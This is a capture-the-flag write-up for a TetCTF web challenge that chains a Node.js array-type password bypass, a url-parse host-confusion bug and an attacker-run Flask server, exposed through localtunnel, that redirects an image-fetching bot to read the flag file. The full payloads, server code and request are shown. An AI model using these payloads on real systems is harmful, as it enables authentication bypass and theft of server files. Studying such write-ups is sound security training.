Tags: web 

Rating: 5.0

Condition on the isAdmin function:

(req.query.password.length > 12 || req.query.password != "Th!sIsS3xreT0")

Use password[]=Th!sIsS3xreT0 to bypass the nodejs comparison, this works because:

node
Welcome to Node.js v14.17.5.      
Type ".help" for more information.
> ["banana"]=="banana"
true

This makes the password len 1 and equal to the expected string.

Then run npm audit on the project and notice the open redirect vuln on url-parse 1.4.1:

High            Open Redirect in url-parse                                    

  Package         url-parse                                                     

  Dependency of   url-parse                                                     

  Path            url-parse                                                     

  More info       https://github.com/advisories/GHSA-pv4c-p2j5-38j4             

Check the patch commit and notice the test string on line 196:

    var url = 'http://google.com:80\\@yahoo.com/#what\\is going on'

Server code:

const isValidHost = (url => {
    const parse = new urlParse(url)
    // console.log(parse)
    return parse.host === "i.ibb.co" ? true : false
})

Use this to craft the final payload. You can also perform tests on your local machine with the following nodejs code:

const urlParse = require('url-parse');
url = "file://google\\a@i.ibb.co/6chVyMW/songtung.png"
const parseURL = new urlParse(url)
console.log(parseURL.host)
console.log(parseURL.pathname)

bot.py source code:

# check extentsion
        white_list_ext = ('.jpg', '.png', '.jpeg', '.gif')
        vaild_extension = url.endswith(white_list_ext)

        if (vaild_extension):
            # check content-type
            res = request.head(url, headers=headers, timeout=3)
            if ('image' in res.headers.get("Content-type")
                    or 'image' in res.headers.get("content-type")
                    or 'image' in res.headers.get("Content-Type")):
                r = request.get(url, headers=headers, timeout=3)
                print(base64.b64encode(r.content))

Build a Flask Server to bypass the bot.py validations and control server replies, for the HEAD request the bot.py is performing reply with the string 'image' in the 'Content-type' header, then for the GET request reply with a redirect to read the flag file. The path could be found on the Dockerfile line 14.

Flask Server code:

from flask import Flask, redirect, request, make_response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch_all(path):    
    if request.method == 'HEAD':
        resp = make_response("Foo bar baz")
        resp.headers['Content-type'] = 'image'
        return resp
    else:
        return redirect("file:///usr/src/app/fl4gg_tetCTF")

Run the Flask Server:

python -m flask run --port=8000
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://127.0.0.1:8000

Expose the flask server to the internet:

lt --port 8000
your url is: https://tidy-yaks-smoke-85-244-177-108.loca.lt

Final request with all payloads in place:

POST /api/getImage?password[]=Th!sIsS3xreT0 HTTP/1.1
Host: 139.162.15.7:2023
Accept: */*
[...]
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 85
Origin: http://139.162.15.7:2023
Referer: http://139.162.15.7:2023/

url=https://tidy-yaks-smoke-85-244-177-108.loca.lt\\a\\@i.ibb.co/6chVyMW/songtung.png

Flask Server received the requests from the bot.py:

127.0.0.1 - - [02/Jan/2023 22:46:18] "HEAD /%5C%5Ca%5C%5C@i.ibb.co/6chVyMW/songtung.png HTTP/1.1" 200 -
127.0.0.1 - - [02/Jan/2023 22:46:18] "GET /%5C%5Ca%5C%5C@i.ibb.co/6chVyMW/songtung.png HTTP/1.1" 302 -

Server response:

HTTP/1.1 200 OK
Server: nginx/1.22.1
X-Powered-By: Express
[...]

{"status":true,"data":"VGV0Q1RGe3BAcnMzX1VyMV9zMF9tNGdJSWNjY2NjLVcxdGhfbjBkZUxpYitwNGl0aDBufQ==\n"}
VGV0Q1RGe3BAcnMzX1VyMV9zMF9tNGdJSWNjY2NjLVcxdGhfbjBkZUxpYitwNGl0aDBufQ==
\b64decode/
TetCTF{p@rs3_Ur1_s0_m4gIIccccc-W1th_n0deLib+p4ith0n}

Check the complete video writeup here: https://youtu.be/zGakJ1aPf6Y?t=368

Original writeup (https://youtu.be/zGakJ1aPf6Y?t=368).